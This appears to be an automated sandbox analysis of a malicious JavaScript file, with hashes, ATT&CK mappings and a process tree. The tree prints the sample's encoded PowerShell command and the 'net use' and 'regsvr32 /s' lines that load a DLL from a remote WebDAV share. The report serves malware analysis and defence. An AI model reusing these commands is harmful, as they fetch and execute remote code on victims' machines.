7fcf3810976d1809478229dbf0c4e7a489daafc6cb356572abdb2bedd6ed65d6

Analysis

max time kernel
17s
max time network
18s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
21/08/2024, 15:44

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General

Target

7fcf3810976d1809478229dbf0c4e7a489daafc6cb356572abdb2bedd6ed65d6.js
Size

12KB
MD5

413d73ef45e6ef5f120d3bc2e99035ea
SHA1

e118df129cf74ef89b7670fa0a7789320c52310e
SHA256

7fcf3810976d1809478229dbf0c4e7a489daafc6cb356572abdb2bedd6ed65d6
SHA512

fd878d188ecdd1354de39f39c8e365cedb71346f7df78183058edb459656d4f0d0c67d2ce43518afc7b8c40d684495e99305309422eb701e7bff361b860936e1
SSDEEP

48:LE236NOza6l6oFpo7QhGi9gwUDDqviegWbGeaJhxMuQH1tQ8wz3to4AKjTncU4FJ:42qGphD6WTLaDomjbLfyCaZLfsoNbwWh

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2672	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2672	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2716 wrote to memory of 2672	2716	wscript.exe	30
PID 2716 wrote to memory of 2672	2716	wscript.exe	30
PID 2716 wrote to memory of 2672	2716	wscript.exe	30
PID 2672 wrote to memory of 2656	2672	powershell.exe	32
PID 2672 wrote to memory of 2656	2672	powershell.exe	32
PID 2672 wrote to memory of 2656	2672	powershell.exe	32
PID 2672 wrote to memory of 2060	2672	powershell.exe	33
PID 2672 wrote to memory of 2060	2672	powershell.exe	33
PID 2672 wrote to memory of 2060	2672	powershell.exe	33
PID 2672 wrote to memory of 2060	2672	powershell.exe	33
PID 2672 wrote to memory of 2060	2672	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\7fcf3810976d1809478229dbf0c4e7a489daafc6cb356572abdb2bedd6ed65d6.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADcAMwAwADkANQA3ADgANQAzADEANAAuAGQAbABsAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
    3⤵
    PID:2656
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\73095785314.dll
    3⤵
    PID:2060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2672-4-0x000007FEF63BE000-0x000007FEF63BF000-memory.dmp

Filesize
4KB

Download
memory/2672-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2672-7-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2672-9-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2672-10-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2672-11-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2672-12-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2672-8-0x000007FEF6100000-0x000007FEF6A9D000-memory.dmp

Filesize
9.6MB

Download
memory/2672-6-0x0000000001F50000-0x0000000001F58000-memory.dmp

Filesize
32KB

Download